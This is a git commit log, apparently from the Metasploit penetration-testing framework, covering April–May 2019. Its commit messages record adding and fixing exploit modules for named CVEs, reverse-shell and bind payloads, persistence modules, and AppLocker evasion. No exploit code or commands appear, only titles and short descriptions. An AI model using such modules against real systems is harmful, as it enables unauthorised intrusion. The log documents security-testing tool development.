Co-Authored-By: bcoles <bcoles@gmail.com>
2019-05-20 13:58:22 -04:00
Wei Chen cb1333de45 Land #11818, Add CVE-2019-8565 OSX Feedback Assistant local root exploit 2019-05-20 12:51:42 -05:00
Wei Chen 701e52b51b Add some kind of documentation for feedback_assistant_root 2019-05-20 12:49:24 -05:00
NoodleOfDeath f656638f94 smb client now preprends named pipes with missing backslash during check named pipes enumeration 2019-05-20 13:47:18 -04:00
Wei Chen efa00cd2d0 Update module description 2019-05-20 12:43:54 -05:00
William Vu 581b20794c Land #11859, struts2_rest_xstream style fix 2019-05-20 12:39:48 -05:00
Wei Chen 40bc0770f3 Update title 2019-05-20 12:37:46 -05:00
Wei Chen eaaf1dd6c0 Update session types and platform metadata 2019-05-20 12:36:43 -05:00
William Vu 0328814241 Indent ternary statement in struts2_rest_xstream 2019-05-20 12:35:52 -05:00
bwatters-r7 e1f898fe52 Land #11834, Fix ams_hndlrsvc
Merge branch 'land-11834' into upstream-master
2019-05-20 12:29:45 -05:00
Wei Chen 6cd943e0ce Sometimes attributes could be nil if hitting an unexpected page 2019-05-20 10:48:29 -05:00
Brendan Coles 652fc1340e Add cmd/unix/reverse_bash_udp payload 2019-05-20 07:57:01 +00:00
Wei Chen 5a46fdf535 Find frsc value from hidden input instead of using rkelly (js) 2019-05-18 19:25:44 -05:00
Wei Chen 592b8302ab Make sure to calls super for setup, also update doc for output 2019-05-18 18:08:25 -05:00
Wei Chen c2567f2ee3 Fix bug on cleanup ready status & more verbose 2019-05-18 17:50:29 -05:00
Metasploit 4d26f9fe47 automatic module_metadata_base.json update 2019-05-17 16:32:16 -07:00
Wei Chen ad08c4e56b Land #11828, Add CVE-2017-18357: Shopware Object Instantiation 2019-05-17 18:22:48 -05:00
Wei Chen 9b46e7a347 Normalize PHP payload path 2019-05-17 18:20:59 -05:00
Metasploit 0e2837feb5 automatic module_metadata_base.json update 2019-05-17 03:32:31 -07:00
Brent Cook 930952e994 Land #11374, add super-small version of bind tcp random payload 2019-05-17 03:13:40 -07:00
Brent Cook 9ae01c98c9 merge super-tiny payload into tiny payload, invoke on available size 2019-05-17 03:12:01 -07:00
thesubtlety 4f679fad7a fix key material loading and display of blank api keys 2019-05-16 19:31:11 -07:00
Wei Chen 40d4b3dfd3 Add doc and update the module title 2019-05-16 16:31:25 -05:00
Wei Chen 39b8dce342 Update the description 2019-05-16 16:25:23 -05:00
Wei Chen 27554cf19a Add the completed version of oats_weblogic_console.rb 2019-05-16 16:24:31 -05:00
Metasploit e05bf425f4 automatic module_metadata_base.json update 2019-05-16 11:34:37 -07:00
William Vu 2a06d038ed Land #11842, Powershell::wrap_double_quotes fix 2019-05-16 13:25:29 -05:00
William Vu a57923ee64 Improve logic 2019-05-16 13:25:00 -05:00
Metasploit 2f18c18f01 Bump version of framework to 5.0.23 2019-05-16 10:06:52 -07:00
Metasploit 44471f47d7 automatic module_metadata_base.json update 2019-05-16 09:47:53 -07:00
Shelby Pace 730f912fea Land #11802, add GetSimple CMS RCE module 2019-05-16 11:30:21 -05:00
Shelby Pace 54adb4eaab add documentation 2019-05-16 11:28:43 -05:00
7echSec 328b4fa860 Addressing Syntax error 2019-05-16 21:06:47 +05:30
7echSec c947cd76f6 Removed register_advanced_options
Added 'Powershell::wrap_double_quotes' => false in DefaultOptions.
2019-05-16 14:19:52 +05:30
PierrickV 94f904311b Fix broken links mostly to Microsoft website 2019-05-16 09:50:19 +02:00
7echSec 053ceed171 Regression fix: Disabling wrap_double_quotes
This client side exploit stopped working in current MSF throws an error in client browser.As per the analysis its because of Powershell::wrap_double_quotes=true. 
I have just Added "Powershell::wrap_double_quotes"  as advance option to override Datastore value.
2019-05-16 12:39:42 +05:30
rwincey 7c30422166 Documentation 2019-05-16 00:02:37 -04:00
rwincey 1c05958892 Exploit 2019-05-15 23:36:57 -04:00
Cha0s d3ae17f97c Merge pull request #1 from space-r7/pr11802-changes
add checks to `at` functions that could result in error
2019-05-15 17:29:41 -05:00
Shelby Pace 6210a28f32 added checks to at, changed some uris 2019-05-15 15:40:27 -05:00
Metasploit 6b16087ba1 automatic module_metadata_base.json update 2019-05-14 16:06:52 -07:00
Jeffrey Martin dacc3b3df2 Land #11548, unifi backup downloader 2019-05-14 17:46:14 -05:00
h00die 0f6eacda88 add nonverbose prints 2019-05-14 15:54:44 -04:00
Jeffrey Martin 53dc118d28 Land #11819, Implement module use by previous search index 2019-05-14 10:39:03 -05:00
Jeffrey Martin c740432f51 Land #11820, Display NOCVE reason cleanly in info command output 2019-05-14 10:34:03 -05:00
William Vu ca13769c22 Remove special handling of missing CVE references 2019-05-13 18:12:18 -05:00
William Vu 3757769906 Compromised on improved wording for NOCVE 2019-05-13 17:47:22 -05:00
William Vu fa06e88ab9 Revert "Display NOCVE reason in missing CVE reference"
This reverts commit c252ff2e7e.
2019-05-13 17:38:35 -05:00
stevenseeley 1df703b85f added some vprint_error calls in the check 2019-05-13 17:36:06 -05:00
William Vu 7aed55b053 Zero-index search results for great justice 2019-05-13 17:33:16 -05:00
William Vu 6ea1e7aed2 Handle TypeError in case of nil 2019-05-13 17:32:54 -05:00
William Vu 249d3551ae Be good in other places 2019-05-13 17:15:31 -05:00
William Vu d33ec6e79d Be good and use a multi-line rescue 2019-05-13 17:12:40 -05:00
Wei Chen 831c0cc7d6 Update syntax changes 2019-05-13 14:13:39 -05:00
Tim W abbefab5c0 add meterpreter mouse command 2019-05-13 17:06:03 +08:00
stevenseeley e8fec2a77b don't override the check method 2019-05-12 20:08:52 -05:00
Tim W 7ec67fb91f add meterpreter keyboard_send command 2019-05-11 16:49:01 +08:00
Metasploit 806e253538 automatic module_metadata_base.json update 2019-05-10 14:04:46 -07:00
h00die d76125aad6 land #11831 url fix ms09-053 2019-05-10 16:48:58 -04:00
h00die 3a305fd7fa add version numbers to ams_hndlrsvc 2019-05-10 16:42:09 -04:00
h00die f50c89ca0a ams_hndlrsvc updates 2019-05-10 16:38:22 -04:00
h00die 185b740d87 msftidy 2019-05-10 15:26:17 -04:00
h00die 097a503113 unifi 5.10.23 and meterp > shell 2019-05-10 15:05:31 -04:00
Wei Chen 03dbb2fc2c Work in progress for oats_weblogic_console 2019-05-10 13:27:08 -05:00
h00die 74fbcaf908 moodle_cmd_exec nil check 2019-05-10 14:02:01 -04:00
lilyus 91838419ff Update link to ms09-053 2019-05-10 17:48:37 +02:00
stevenseeley bca160f4c4 final commit: fixed check method to not print as suggested by @bcoles 2019-05-10 09:45:21 -05:00
stevenseeley 6427cb31bf fixed regex a lil 2019-05-09 22:53:39 -05:00
stevenseeley 5ff8394df0 @bcoles is a purist :p 2019-05-09 22:21:26 -05:00
stevenseeley 30401978c1 updated demo in docs 2019-05-09 21:32:01 -05:00
stevenseeley 7953f85c16 updated error message to be NoAccess 2019-05-09 21:29:48 -05:00
stevenseeley 965a19fb95 updated docs to include custom pop chain as suggested by @bcoles 2019-05-09 21:28:11 -05:00
stevenseeley a700fcec5d changed regex as suggested by @bcoles 2019-05-09 21:18:14 -05:00
stevenseeley e769ae5c90 fixed some error conditions, changed regex as suggested by @bcoles 2019-05-09 21:14:54 -05:00
stevenseeley 2ff1adb1be fixed timing of exec 2019-05-09 20:58:14 -05:00
stevenseeley 6ffd1d5e95 updated module to address @bcoles's comments 2019-05-09 20:53:49 -05:00
stevenseeley 65c3163518 updated module credits with original discoverer 2019-05-09 17:35:47 -05:00
stevenseeley ba2baa7652 updated module randomization a little more 2019-05-09 16:14:35 -05:00
stevenseeley 6ffef18028 updated documentation a little 2019-05-09 15:51:34 -05:00
asoto-r7 e5203720db Land #11821, correct payload size output and exception handling 2019-05-09 15:36:20 -05:00
stevenseeley 2649fa0d65 added a new line at the end 2019-05-09 15:35:00 -05:00
stevenseeley 9b200840a4 added module for CVE-2017-18357 2019-05-09 15:19:01 -05:00
stevenseeley aaa0dd2532 added module for CVE-2017-18357 2019-05-09 15:17:43 -05:00
stevenseeley 89e3a07518 added module for CVE-2017-18357 2019-05-09 15:08:33 -05:00
Metasploit 65637eea62 Bump version of framework to 5.0.22 2019-05-09 10:06:37 -07:00
Wei Chen ee00d05d3c Fix a typo 2019-05-09 08:43:06 -05:00
Metasploit 2933a8e75a automatic module_metadata_base.json update 2019-05-08 09:41:01 -07:00
Wei Chen 310d931bf5 Land #11816, Add CVE-2019-5786 : Chrome 72.0.3626.119 on Windows 7 x86 2019-05-08 11:21:40 -05:00
Wei Chen 923d8b8b2e Fix uri with get_resource 2019-05-08 11:20:36 -05:00
Wei Chen c70c6abe13 Add CVE-2019-2557 - OATS Directory Traversal 2019-05-07 14:56:04 -05:00
Brent Cook 745645d7ca make encoded payloads a little less special-case
Just operate on the raw_payload buffer so we always have the same thing to look
at in the end of generation.
2019-05-07 13:48:24 -05:00
Brent Cook ad8188ff51 throw exception on actual payload size violation, not formatted output size 2019-05-07 13:12:58 -05:00
Tim W 7968bd932a improve arch selection 2019-05-07 22:54:58 +08:00
Metasploit 5a07d280d2 automatic module_metadata_base.json update 2019-05-06 23:24:23 -07:00
William Vu 413929b7f6 Land #11598, Postgres COPY FROM PROGRAM exploit 2019-05-07 01:12:44 -05:00
William Vu c252ff2e7e Display NOCVE reason in missing CVE reference 2019-05-07 00:59:09 -05:00
William Vu 982caa95a4 Implement module use by previous search index 2019-05-07 00:50:04 -05:00
Metasploit 1732185683 automatic module_metadata_base.json update 2019-05-06 13:53:21 -07:00
asoto-r7 f89b0e848f Land PR#11780, exploit/multi/misc/weblogic_deserialize_asyncresponseservice 2019-05-06 15:36:47 -05:00
Tim W be1d185a04 Add CVE-2019-8565 OSX Feedback Assistant local root exploit 2019-05-07 04:30:47 +08:00
asoto-r7 aed878100a weblogic_deserialize_asyncresponseservice: Added documentation 2019-05-06 15:18:08 -05:00
asoto-r7 abfe4fd2c2 weblogic_deserialize_asyncresponseservice: Added check method, improved exception handling, minimizing XML strings 2019-05-06 15:16:50 -05:00
Brent Cook 5a8055f41d Land #11803, check for platform-specific env. variables in post-API tests 2019-05-06 09:21:56 -05:00
Tim W 8b489f4fb5 add documentation 2019-05-06 17:05:03 +08:00
Tim W 39969e71fa Initial commit of CVE-2019-5786 2019-05-06 17:05:00 +08:00
Alexandre ZANNI 9d15c10c8a add tested system 2019-05-05 23:30:20 +02:00
Cha0s bd349b8a23 Removed Spaces EOL 2019-05-04 23:24:20 -05:00
Cha0s 4bf0adeade Module corrections
Corrections in: author metadata, references, removing handler, removing unused  code branch and vulnerable variable, improve module description
2019-05-04 23:11:40 -05:00
Brendan Coles 2ee75173b8 Add FreeBSD rtld execl() Privilege Escalation module 2019-05-03 09:53:37 +00:00
Caitlin Condon 9eb335ad5c Land #11804, loadpath command generates bad plural for 'auxiliarys' 2019-05-02 17:31:42 -05:00
Brendan Coles 60fb3b2319 Add BSD target to exploit/multi/ssh/sshexec module 2019-05-02 20:40:14 +00:00
Metasploit 8a991d322d Bump version of framework to 5.0.21 2019-05-02 10:08:40 -07:00
Brent Cook 86df78fa4f loadpath command generates bad plural for 'auxiliarys'
Plural of 'auxiliary' is 'auxiliaries'. Let's get rid of bad logic and just say 'modules'.
2019-05-02 10:04:26 -05:00
Brent Cook 625f383ade blank 2019-05-02 10:01:21 -05:00
Brent Cook ad1190b5c1 check for platform-specific env. variables
'USERNAME' is not a standard environment variable outside of Windows,
which leads to this test failing on non-Windows Meterpreter platforms.
2019-05-02 09:55:58 -05:00
NickTyrer f023fb9525 add further obfuscation 2019-05-02 08:39:35 +01:00
Waqas Ali 48b7f7c904 Update (removed parenthesis) modules/exploits/multi/http/getsimplecms_unauth_code_exec.rb
(removed parenthesis)

Co-Authored-By: truerandom <masterofdisaster@ciencias.unam.mx>
2019-05-02 02:03:54 -05:00
Waqas Ali 75c78b761e Update (removed parenthesis) modules/exploits/multi/http/getsimplecms_unauth_code_exec.rb
(removed parenthesis)

Co-Authored-By: truerandom <masterofdisaster@ciencias.unam.mx>
2019-05-02 02:03:46 -05:00
Waqas Ali 3a7ebbdc3d Update (removed parenthesis) modules/exploits/multi/http/getsimplecms_unauth_code_exec.rb
(removed parenthesis)

Co-Authored-By: truerandom <masterofdisaster@ciencias.unam.mx>
2019-05-02 02:03:26 -05:00
Waqas Ali 33c2a9592a Update (removed parenthesis) modules/exploits/multi/http/getsimplecms_unauth_code_exec.rb
(removed parenthesis)

Co-Authored-By: truerandom <masterofdisaster@ciencias.unam.mx>
2019-05-02 02:03:14 -05:00
truerandom ea3e8e5bae exploit module for cve-2019-11231 2019-05-01 20:05:57 -04:00
Brent Cook def3112dde Land #11786, Fix issues with DP RPC commands 2019-05-01 13:20:56 -05:00
NickTyrer 38256a18bd added further obfuscation to module 2019-05-01 17:05:40 +01:00
Metasploit a425bbb683 automatic module_metadata_base.json update 2019-05-01 06:45:07 -07:00
Shelby Pace a88858fc8b Land #11779, add Rails Doubletap Dev mode RCE 2019-05-01 08:35:28 -05:00
Shelby Pace 887c09f806 fixed typo 2019-05-01 08:33:44 -05:00
Andrés Rodríguez d1ca87b810 Improvements to the payloads config. 2019-05-01 00:06:46 -05:00
Andrés Rodríguez 4c612efc16 Spaces at EOL (again). 2019-04-30 23:36:52 -05:00
Andrés Rodríguez 384c8b3959 Pulling the XML out into its own method. 2019-04-30 23:23:38 -05:00
Andrés Rodríguez 554f781382 Spaces at EOL. 2019-04-30 23:03:25 -05:00
Andrés Rodríguez b3a4b639c3 Use of suggested multi-line string for XML and case for the OS. 2019-04-30 22:43:45 -05:00
Andrés Rodríguez ce25253e5a Some suggested fixes. 2019-04-30 21:36:51 -05:00
Metasploit abfe0e03d9 automatic module_metadata_base.json update 2019-04-30 16:10:03 -07:00
Brent Cook d37fa9e5f8 Land #11801, Add note about WIP PRs 2019-04-30 17:55:10 -05:00
Brent Cook d8432fd8de Land #11781, add GTP-U echo scanner module 2019-04-30 17:53:03 -05:00
Brent Cook cc62ca50f1 fix link 2019-04-30 17:52:42 -05:00
Brent Cook 0b24b9f636 add docs 2019-04-30 17:50:54 -05:00
William Vu dbc0811ba4 Fix italics to bold
Damn you, Slack.
2019-04-30 17:13:38 -05:00
William Vu 9c3bc0ac67 Add note about WIP PRs to CONTRIBUTING.md 2019-04-30 17:05:12 -05:00
bigendiansmalls 3289d89836 Added Extended passive mode to the core ftp module.
Extended passive mode (EPSV), as documented in RFC2428
is similar to the PASSive mode in that it requests that
the server open a port and wait for a data connection.
However, in unlike PASSive mode, Extended Passive mode
returns only the port on which the server listens for
the data connection, not the IP + Port.  The client is
expected to use the existing IP (e.g. the one it used to
create the initial control channel connection) to connect
to the new data port.

Where this becomes important is if the server is behind
some type of natting device, EPSV will work in this case,
PASS may not.
2019-04-30 12:41:11 -05:00
bigendiansmalls f1a5711c0f Fixed Size 2019-04-30 12:15:47 -05:00
bigendiansmalls e79a9ed04b Added to code to remove payload once run.
The original payload left the binary behind, which could be
then used by someone else intentionally or otherwise. This
addition cleans up the module by removing it after running.
2019-04-30 11:32:40 -05:00
Wei Chen 1fd54e20fb Update target name 2019-04-30 10:13:01 -05:00
Wei Chen 29344d15b6 Update rails_double_tap doc and module based on bcole feedback 2019-04-30 10:11:32 -05:00
Metasploit efa5fbf070 automatic module_metadata_base.json update 2019-04-30 05:00:28 -07:00
Jacob Robles 6c29da6e8e Land #11673, Add yum persistence module 2019-04-30 06:49:43 -05:00
Jacob Robles e5cb003c5c Remove trailing whitespace 2019-04-30 06:25:48 -05:00
Jacob Robles 02894cccb5 Update documentation 2019-04-30 06:24:16 -05:00
NickTyrer ee7ef7ad4e fix typo 2019-04-29 22:23:49 +01:00
Mike Menasi 487714b98e add new evasion module applocker_evasion_install_util 2019-04-29 21:34:56 +01:00
arntsonl f200c12424 Postgres 8.2+ update to postgres_payload.rb module 2019-04-29 15:28:11 -04:00
Metasploit 1d54b0ad79 automatic module_metadata_base.json update 2019-04-29 12:13:43 -07:00
Wei Chen 6668b226ba Land #11761, Cleanup apport_abrt_chroot_priv_esc 2019-04-29 14:04:24 -05:00
Jacob Robles 68ffdf0ddc Land #11641, Add AIS RCE 2019-04-29 13:52:58 -05:00
Metasploit 78297fc7ca automatic module_metadata_base.json update 2019-04-29 09:09:05 -07:00
Wei Chen 88f7ed25e3 Land #11784, Fix NoMethodError in jira_plugin_upload exploit module 2019-04-29 10:59:41 -05:00
Metasploit 284dba3d75 automatic module_metadata_base.json update 2019-04-29 07:02:32 -07:00
Shelby Pace 10e141c73d Land #11697, add Pimcore unserialize RCE 2019-04-29 08:52:49 -05:00
Shelby Pace d5f76f328a removed version from module title 2019-04-29 08:43:33 -05:00
Metasploit 1fd0654038 automatic module_metadata_base.json update 2019-04-27 10:46:27 -07:00
Jacob Robles 147b9fef98 Land #11665, Add APT persistence module 2019-04-27 12:32:21 -05:00
fabiocogno d60aa92ffc Merge pull request #1 from space-r7/pr11697
Add more error handling
2019-04-27 11:09:47 +02:00
Spencer McIntyre fad4ce76ea Clean up the gtp_echo module based on PR feedback 2019-04-26 17:45:27 -04:00
William Vu 561b1ce86d Land #11778, cmd_psh_payload options hash fix
nil and false are not equivalent here.
2019-04-26 16:28:50 -05:00
Shelby Pace 31f4c842a6 added a few checks 2019-04-26 16:18:14 -05:00
Matthew Kienow fbf7668889 Fix delete vuln
Convert fetched Mdm::Vuln::ActiveRecord_Associations_CollectionProxy to
an Array as the code only expects to process an Mdm::Vuln or Array.
2019-04-26 14:44:37 -04:00
Matthew Kienow a393e3f71f Fix finding a service to return
Convert fetched Mdm::Service::ActiveRecord_Associations_CollectionProxy
to an Array as the code only expects to process an Mdm::Service or
Array.
2019-04-26 14:40:49 -04:00
Matthew Kienow 8173fd5d8a Update opts usage to match the method comment
Conditions assignment is to the singular hosts.address, so the plural
addresses doesn't make sense.
2019-04-26 14:34:40 -04:00
Matthew Kienow 7a0681f816 Fix incorrect method comments and examples 2019-04-26 14:30:28 -04:00
Jacob Robles 635be0cc9c Update documentation 2019-04-26 13:12:06 -05:00
Jacob Robles 1faa41aafe Dont require hook name 2019-04-26 13:11:40 -05:00
Wei Chen 2141036f13 Remove the extra newline 2019-04-26 12:59:50 -05:00
Fabio Cogno e9e50b2ae3 Refactoring - login function 2019-04-26 19:53:54 +02:00
Shelby Pace 3de617fea5 add checks for xsrf_token 2019-04-26 11:09:33 -05:00
Metasploit 186e2dd65f automatic module_metadata_base.json update 2019-04-26 07:58:39 -07:00
Jacob Robles 3d7f498bfe Land #11783, Allow RHOST option sid_brute 2019-04-26 09:49:48 -05:00
Metasploit a98da6f2ba automatic module_metadata_base.json update 2019-04-26 07:45:34 -07:00
Jacob Robles c282547a0b Land #11745, Add spring-cloud-config-server dir traversal 2019-04-26 09:35:37 -05:00
Metasploit decb88b2ac automatic module_metadata_base.json update 2019-04-26 07:11:28 -07:00
Jacob Robles d72b6fc3cb Land #11782, Update payload cached sizes 2019-04-26 09:01:52 -05:00
Jacob Robles f195c4bde3 Update payload cache sizes 2019-04-26 08:40:07 -05:00
Jacob Robles e173507869 Allow RHOST option 2019-04-26 08:36:32 -05:00
Jacob Robles 306b0fd2e7 Randomize application and profile 2019-04-26 07:15:39 -05:00
Metasploit ec5c3e86b5 automatic module_metadata_base.json update 2019-04-26 05:01:39 -07:00
Brendan Coles c2d02efb3c Land #11777, Fix auxiliary/dos/http/apache_range_dos CHECK action 2019-04-26 12:10:01 +00:00
Jacob Robles 96cb5ce917 Update documentation 2019-04-26 06:57:57 -05:00
Tim W d20801cf12 add apple advisory 2019-04-26 13:25:26 +08:00
Tim W f3f044ec59 add payload length check 2019-04-26 12:28:51 +08:00
bcoles 80b066ad03 Forgotten string interpolation..
Co-Authored-By: acamro <acamro@users.noreply.github.com>
2019-04-25 21:56:42 -05:00
Andres Rodriguez 6cdfde7268 Some fixes for char escapes... 2019-04-25 19:32:17 -07:00
Spencer McIntyre 7f4b134677 Add a GTP echo scanner module 2019-04-25 21:55:19 -04:00
Andrés Rodríguez 64491ef690 Remove file bad chars... 2019-04-25 20:52:11 -05:00
@shellfail 652e4b0a34 Update modules/exploits/linux/local/yum_package_manager_persistence.rb
Changed date format

Co-Authored-By: aringo <ringo.aaron@gmail.com>
2019-04-25 20:09:54 -05:00
@shellfail c643436383 Update modules/exploits/linux/local/apt_package_manager_persistence.rb
Changed Disclosure Date format

Co-Authored-By: aringo <ringo.aaron@gmail.com>
2019-04-25 20:08:50 -05:00
Andres Rodriguez 9a4717f1af Weblogic deserialize AsyncResponseService module 2019-04-25 18:03:17 -07:00
Aaron Ringo 09022f336d Changed some formatting based on feedback and rubocop, added default payload of python - python exists for yum to work 2019-04-25 18:01:39 -05:00
Wei Chen cc9216d848 Clean up the extra space 2019-04-25 16:39:40 -05:00
Wei Chen 738ee70667 Add module documentation for rails_double_rap 2019-04-25 16:31:27 -05:00
Aaron Ringo 261a4271fa Updated some formatting as requested along with some rubocob requested 2019-04-25 16:15:00 -05:00
CFP 315d7f28c1 Replace path with uri to fix #11776 2019-04-25 23:08:19 +02:00
Aaron Ringo bd1113d53c Updated some formatting as requested along with some rubocob requested 2019-04-25 15:55:22 -05:00
Shelby Pace a97cee4c91 add ternary expression to set options 2019-04-25 15:36:09 -05:00
Wei Chen 9a40f24c46 Add CVE-2019-5420 : Ruby on Rails DoubleTap secret_key_base Vuln 2019-04-25 14:30:46 -05:00
@shellfail cf6c57cf5d Apply suggestions from code review
Co-Authored-By: nsa <mustafa@calap.co>
2019-04-25 20:43:55 +03:00
Metasploit b5f164335e Bump version of framework to 5.0.20 2019-04-25 10:08:29 -07:00
p0w1 f63a2a6e58 add badchar 2019-04-25 18:24:26 +02:00
@shellfail 985285d880 Update modules/exploits/windows/misc/ais_esel_server_rce.rb
Co-Authored-By: p0w1 <39155277+p0w1@users.noreply.github.com>
2019-04-25 18:05:50 +02:00
@shellfail 98b054b8a4 Update modules/exploits/windows/misc/ais_esel_server_rce.rb
Co-Authored-By: p0w1 <39155277+p0w1@users.noreply.github.com>
2019-04-25 18:05:43 +02:00
@shellfail 537f55e9da Update modules/exploits/windows/misc/ais_esel_server_rce.rb
Co-Authored-By: p0w1 <39155277+p0w1@users.noreply.github.com>
2019-04-25 18:05:32 +02:00
@shellfail 9206bd404d Update modules/exploits/windows/misc/ais_esel_server_rce.rb
Co-Authored-By: p0w1 <39155277+p0w1@users.noreply.github.com>
2019-04-25 18:05:22 +02:00
@shellfail 46f4473ade Update modules/exploits/windows/misc/ais_esel_server_rce.rb
Co-Authored-By: p0w1 <39155277+p0w1@users.noreply.github.com>
2019-04-25 18:05:14 +02:00
bcoles 5d4de2c715 Update modules/exploits/windows/misc/ais_esel_server_rce.rb
Co-Authored-By: p0w1 <39155277+p0w1@users.noreply.github.com>
2019-04-25 18:04:56 +02:00
bcoles 77dce74789 Update modules/exploits/windows/misc/ais_esel_server_rce.rb
Co-Authored-By: p0w1 <39155277+p0w1@users.noreply.github.com>
2019-04-25 18:04:04 +02:00
@shellfail 38e95dd311 Update modules/exploits/windows/misc/ais_esel_server_rce.rb
Co-Authored-By: p0w1 <39155277+p0w1@users.noreply.github.com>
2019-04-25 18:02:56 +02:00
@shellfail 0b09759621 Update modules/exploits/windows/misc/ais_esel_server_rce.rb
Co-Authored-By: p0w1 <39155277+p0w1@users.noreply.github.com>
2019-04-25 18:02:44 +02:00
@shellfail 4e85f5f731 Update modules/exploits/windows/misc/ais_esel_server_rce.rb
Co-Authored-By: p0w1 <39155277+p0w1@users.noreply.github.com>
2019-04-25 18:02:30 +02:00
@shellfail 59e4df759a Update modules/exploits/windows/misc/ais_esel_server_rce.rb
Co-Authored-By: p0w1 <39155277+p0w1@users.noreply.github.com>
2019-04-25 18:01:38 +02:00
@shellfail 376925e619 Update modules/exploits/windows/misc/ais_esel_server_rce.rb
Co-Authored-By: p0w1 <39155277+p0w1@users.noreply.github.com>
2019-04-25 18:01:27 +02:00
@shellfail cecc9e210c Update modules/exploits/windows/misc/ais_esel_server_rce.rb
Co-Authored-By: p0w1 <39155277+p0w1@users.noreply.github.com>
2019-04-25 18:01:15 +02:00
Metasploit 6003896e3c automatic module_metadata_base.json update 2019-04-25 07:49:46 -07:00
Jacob Robles 39aae367a5 Land #11765, Update NUUO mixin, move code to Rex 2019-04-25 09:35:47 -05:00
p0w1 b26d2d6ba4 add documentation 2019-04-25 12:20:12 +02:00
p0w1 45a9369ca0 add documentation 2019-04-25 12:18:31 +02:00
Brent Cook 98146fe419 Land #11771, Force UTF-8 for more module metadata fields 2019-04-24 20:23:51 -05:00
@shellfail 49a14a588c Update modules/auxiliary/scanner/http/springcloud_traversal.rb
Co-Authored-By: RootUp <mishra.dhiraj95@gmail.com>
2019-04-25 00:40:20 +04:00
@shellfail aae4e86b71 Update modules/auxiliary/scanner/http/springcloud_traversal.rb
Co-Authored-By: RootUp <mishra.dhiraj95@gmail.com>
2019-04-25 00:40:10 +04:00
Dhiraj Mishra 447c8430e1 Updating documents 2019-04-25 00:39:46 +04:00
Jacob Robles f3a820b475 Remove protocol option
Only tcp is supported for the mixin.
2019-04-24 14:24:30 -05:00
William Vu a790e9076a Land #11766, handling of spaces in tab completion 2019-04-24 13:24:16 -05:00
Metasploit 8a218f60a9 automatic module_metadata_base.json update 2019-04-24 11:19:11 -07:00
Spencer McIntyre dfa37a9fb0 Fix a bug when the unbalanced quote is the end 2019-04-24 14:02:18 -04:00
Brent Cook 470255cb2b Land #11769, make sure Notes fields show up in info 2019-04-24 13:01:07 -05:00
William Vu ce39b929b2 Remove stray backslash - oops! 2019-04-24 11:50:53 -05:00
William Vu b05c6c7587 Rearrange notes in drupal_restws_unserialize 2019-04-24 11:41:30 -05:00
William Vu 97545ceb9d Clarify NOCVE reason for Wemo exploit 2019-04-24 11:39:34 -05:00
William Vu 94994aa519 Update modules with RelatedModules and realign 2019-04-24 11:34:42 -05:00
William Vu 0ad5dca9fa Revert to RelatedModules and handle Array/Hash 2019-04-24 11:26:52 -05:00
William Vu 00cebda89e Fix typo of "reliability" - wow, I suck 2019-04-24 11:14:06 -05:00
Spencer McIntyre 2a0e3690db Close unbalanced quotes when tab completing 2019-04-24 11:01:23 -04:00
Spencer McIntyre 92e945ff46 Implement a custom shellsplit method 2019-04-24 10:55:02 -04:00
Adam Cammack 40c083b894 Force UTF-8 for more module fields 2019-04-24 09:30:38 -05:00
Jacob Robles b0498d0991 Update nuuo bruteforce module
Module was updated to use the changes
in the nuuo mixin
2019-04-24 07:01:42 -05:00
Jacob Robles acf7e58e8e Nuuo mixin handle connection errors 2019-04-24 07:00:53 -05:00
Metasploit e7f82610d3 automatic module_metadata_base.json update 2019-04-24 03:54:55 -07:00
Brent Cook 0e2fb0fb12 Land #11730, add module for CVE-2018-20250
(RARLAB WinRAR ACE Format Input Validation Remote Code Execution)
2019-04-24 05:45:18 -05:00
Brent Cook 2242c1f758 prefer File.binread for reading binary file contents 2019-04-24 05:43:28 -05:00
Metasploit 4db760f29f automatic module_metadata_base.json update 2019-04-24 03:32:00 -07:00
Brent Cook a9bb4efe6a Land #11768, implement faster compatible payload logic 2019-04-24 05:17:15 -05:00
Brent Cook 9793c839f2 Land #11764, update tested versions for xor_x11_suid_server module 2019-04-24 05:11:41 -05:00
Brent Cook d207038ab8 Land #11722, expand password hash identification library 2019-04-24 05:09:30 -05:00
Brent Cook 4137135ad4 Land #11737, store password from osx/gather/password_prompt_spoof 2019-04-24 05:06:20 -05:00
William Vu 372ec1949a Handle NOCVE and module traits 2019-04-23 19:47:49 -05:00
William Vu 30b8625885 Update Ghostscript/ImageMagick modules 2019-04-23 16:31:40 -05:00
William Vu c0e675abfb Change dump_aka to dump_notes with special casing
Also add RELATED for related modules.
2019-04-23 16:31:40 -05:00
William Vu 9420b04dd9 Support generic payloads 2019-04-23 15:14:14 -05:00
William Vu e12b19a507 Enhance compatible_payloads to use module cache 2019-04-23 13:57:39 -05:00
Jacob Robles aba88243d7 Add nuuo resposne string 2019-04-23 10:47:40 -05:00
Jacob Robles 0174d1dd7e Update nuuo_cms_sqli
Use updated nuuo mixin/rex
2019-04-23 06:29:51 -05:00
Jacob Robles 5686319271 Update nuuo_cms_fu
Use the updated mixin/rex implementation
2019-04-23 06:28:57 -05:00
Jacob Robles 80a68de17d Keep response status 2019-04-23 06:27:12 -05:00
Spencer McIntyre 0e612045d3 Honor strings ending in slash space 2019-04-22 15:08:11 -04:00
Jacob Robles d4728c9bc7 Call correct function 2019-04-22 10:16:05 -05:00
Jacob Robles d7c8c9ffff Add nuuo response spec 2019-04-22 08:14:25 -05:00
Jacob Robles 01b1c42b1a Update nuuo client spec 2019-04-22 08:13:59 -05:00
Tim W 246fb6fa90 improve description
docs
2019-04-22 14:40:57 +08:00
bcoles 421e250086 Update modules/exploits/osx/local/timemachine_cmd_injection.rb
Co-Authored-By: timwr <timwr@users.noreply.github.com>
2019-04-21 19:59:14 +08:00
bcoles f1f64cfbb8 Update modules/exploits/osx/local/timemachine_cmd_injection.rb
Co-Authored-By: timwr <timwr@users.noreply.github.com>
2019-04-21 19:59:04 +08:00
Brendan Coles 163c66b5ba Update tested versions 2019-04-21 11:21:28 +00:00
Tim W 1a2a85b142 add documentation 2019-04-21 16:04:16 +08:00
Tim W fbbcc2b607 add exploit binary 2019-04-21 16:02:10 +08:00
Tim W c2c6c56785 fix cleanup 2019-04-21 16:02:10 +08:00
Metasploit 1978847ffb automatic module_metadata_base.json update 2019-04-20 22:46:55 -07:00
Brendan Coles bea0ddeb1d Land #11763, Fix AKA references array for rails_doubletap module 2019-04-21 05:48:58 +00:00
L 3c237b945f fixed 2019-04-21 12:00:20 +08:00
Aaron Ringo 5e4af9c3f7 Added fail with if plugins were not enabled 2019-04-20 18:16:22 -05:00
Aaron Ringo 335c175ad7 modified plugin_ran and path generated for plugin.conf 2019-04-20 18:04:57 -05:00
